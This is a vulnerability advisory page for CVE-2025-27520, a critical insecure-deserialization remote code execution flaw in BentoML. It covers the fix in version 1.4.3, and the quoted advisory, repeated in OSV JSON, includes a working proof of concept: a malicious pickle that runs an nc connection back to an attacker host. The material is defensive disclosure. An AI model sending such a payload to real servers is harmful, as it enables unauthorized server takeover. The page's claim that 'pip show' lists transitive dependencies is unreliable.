CVE-2025-27520: Bentoml Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-33xw-247w-6hmc
CVSS 9.8
CWE-502
Published
Advisory Summary

CVE-2025-27520 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Bentoml libraries in the PyPI ecosystem. The issue involves bentoml allows remote code execution (rce) via insecure deserialization. Remediation is available by upgrading affected packages to version 1.4.3.

CVE-2025-27520 at a Glance

CVE Identifier CVE-2025-27520
GHSA Identifier GHSA-33xw-247w-6hmc
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product Bentoml
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-27520

To remediate this vulnerability, upgrade all affected Bentoml dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

bentoml fixed: 1.4.3
pip install bentoml>=1.4.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show bentoml

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-27520, inspect your installed packages using pip:

pip show bentoml

Analyze the terminal output to locate any version of Bentoml in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.3), your application is affected.

Note: The pip show bentoml command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Bentoml, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server. ### Details It exists an unsafe code segment in `serde.py`: ```Python def deserialize_value(self, payload: Payload) -> t.Any: if "buffer-lengths" not in payload.metadata: return pickle.loads(b"".join(payload.data)) ``` Through data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization. ### PoC Environment: - Server host: - IP: 10.98.36.123 - OS: Ubuntu - Attack host: - IP: 10.98.36.121 - OS: Ubuntu 1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment. 1.1 Install BentoML (Server host: 10.98.36.123) : ` pip install -U bentoml` 1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) : ``` Python from __future__ import annotations import bentoml @bentoml.service( resources={"cpu": "4"} ) class Summarization: def __init__(self) -> None: import torch from transformers import pipeline device = "cuda" if torch.cuda.is_available() else "cpu" self.pipeline = pipeline('summarization', device=device) @bentoml.api(batchable=True) def summarize(self, texts: list[str]) -> list[str]: results = self.pipeline(texts) return [item['summary_text'] for item in results] ``` 1.3 Run the service code (Server host: 10.98.36.123) : ``` Bash pip install torch transformers # additional dependencies for local run bentoml serve ``` 2. Start nc listening on the attacking host (Attack host: 10.98.36.121) : `nc -lvvp 1234` 3. Send maliciously crafted request (Attack host: 10.98.36.121) : ``` Python import pickle import os import requests headers = {'Content-Type': 'application/vnd.bentoml+pickle'} class Evil: def __reduce__(self): return(os.system, ('nc 10.98.36.121 1234',)) payload = pickle.dumps(Evil()) requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers) ``` 4. Attack success (Attack host: 10.98.36.121) : The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234. ![nc](https://github.com/user-attachments/assets/858cba4a-6880-498f-b922-dd9a2dc78a85) ### Impact Remote Code Execution (RCE).

CVE-2025-27520 Affected Bentoml Versions

1 component(s)
Fixed Versions:
1.4.3
Product / Package Ecosystem Affected Versions Fixed Version
bentoml
PyPI
≥ 1.3.4
< 1.4.3
1.4.3

References

Frequently Asked Questions

What is CVE-2025-27520?
CVE-2025-27520 is a security vulnerability in Bentoml involving BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization under CWE-502: Deserialization of Untrusted Data.
Which Bentoml versions are affected?
Affected versions include releases prior to 1.4.3 across affected packages: bentoml.
What version fixes CVE-2025-27520?
Upgrading to 1.4.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is bentoml affected?
Yes, bentoml is affected in releases prior to 1.4.3. Upgrade your dependency to 1.4.3 or later.
What is the CVSS score of CVE-2025-27520?
CVE-2025-27520 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2025-27520?
CVE-2025-27520 is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check PyPI dependencies for CVE-2025-27520?
Run the dependency tree command: 'pip show bentoml'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-33xw-247w-6hmc",
  "modified" : "2025-04-04T16:05:32Z",
  "published" : "2025-04-04T16:05:32Z",
  "aliases" : [ "CVE-2025-27520" ],
  "summary" : "BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization",
  "details" : "### Summary\nA Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.\n\n### Details\nIt exists an unsafe code segment in `serde.py`: \n```Python\ndef deserialize_value(self, payload: Payload) -> t.Any:\n    if \"buffer-lengths\" not in payload.metadata:\n        return pickle.loads(b\"\".join(payload.data))\n```\nThrough data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.\n\n### PoC\nEnvironment:\n\n- Server host:\n  - IP: 10.98.36.123\n  - OS: Ubuntu \n- Attack host:\n  - IP: 10.98.36.121\n  - OS: Ubuntu \n\n\n\n1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.\n\n1.1 Install BentoML (Server host: 10.98.36.123) :\n` pip install -U bentoml`\n\n1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) :\n``` Python\nfrom __future__ import annotations\n\nimport bentoml\n\n@bentoml.service(\n    resources={\"cpu\": \"4\"}\n)\nclass Summarization:\n    def __init__(self) -> None:\n        import torch\n        from transformers import pipeline\n\n        device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n        self.pipeline = pipeline('summarization', device=device)\n\n    @bentoml.api(batchable=True)\n    def summarize(self, texts: list[str]) -> list[str]:\n        results = self.pipeline(texts)\n        return [item['summary_text'] for item in results]\n```\n\n\n1.3 Run the service code (Server host: 10.98.36.123) :\n``` Bash\npip install torch transformers  # additional dependencies for local run\n\nbentoml serve\n```\n\n\n2. Start nc listening on the attacking host (Attack host: 10.98.36.121) :\n`nc -lvvp 1234`\n\n3. Send maliciously crafted request (Attack host: 10.98.36.121) :\n``` Python\nimport pickle\nimport os\nimport requests\n\nheaders = {'Content-Type': 'application/vnd.bentoml+pickle'}\n\nclass Evil:\n    def __reduce__(self):\n        return(os.system, ('nc 10.98.36.121 1234',))\n\npayload = pickle.dumps(Evil())\n\nrequests.post(\"http://10.98.36.123:3000/summarize\", data=payload, headers=headers)\n```\n\n\n4. Attack success (Attack host: 10.98.36.121) :\nThe server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234.\n![nc](https://github.com/user-attachments/assets/858cba4a-6880-498f-b922-dd9a2dc78a85)\n\n\n\n### Impact\nRemote Code Execution (RCE).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "bentoml"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.3.4"
      }, {
        "fixed" : "1.4.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/bentoml/BentoML/security/advisories/GHSA-33xw-247w-6hmc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-27520"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/bentoml/BentoML/commit/b35f4f4fcc53a8c3fe8ed9c18a013fe0a728e194"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/bentoml/BentoML"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-04-04T16:05:32Z",
    "nvd_published_at" : "2025-04-04T15:15:47Z"
  }
}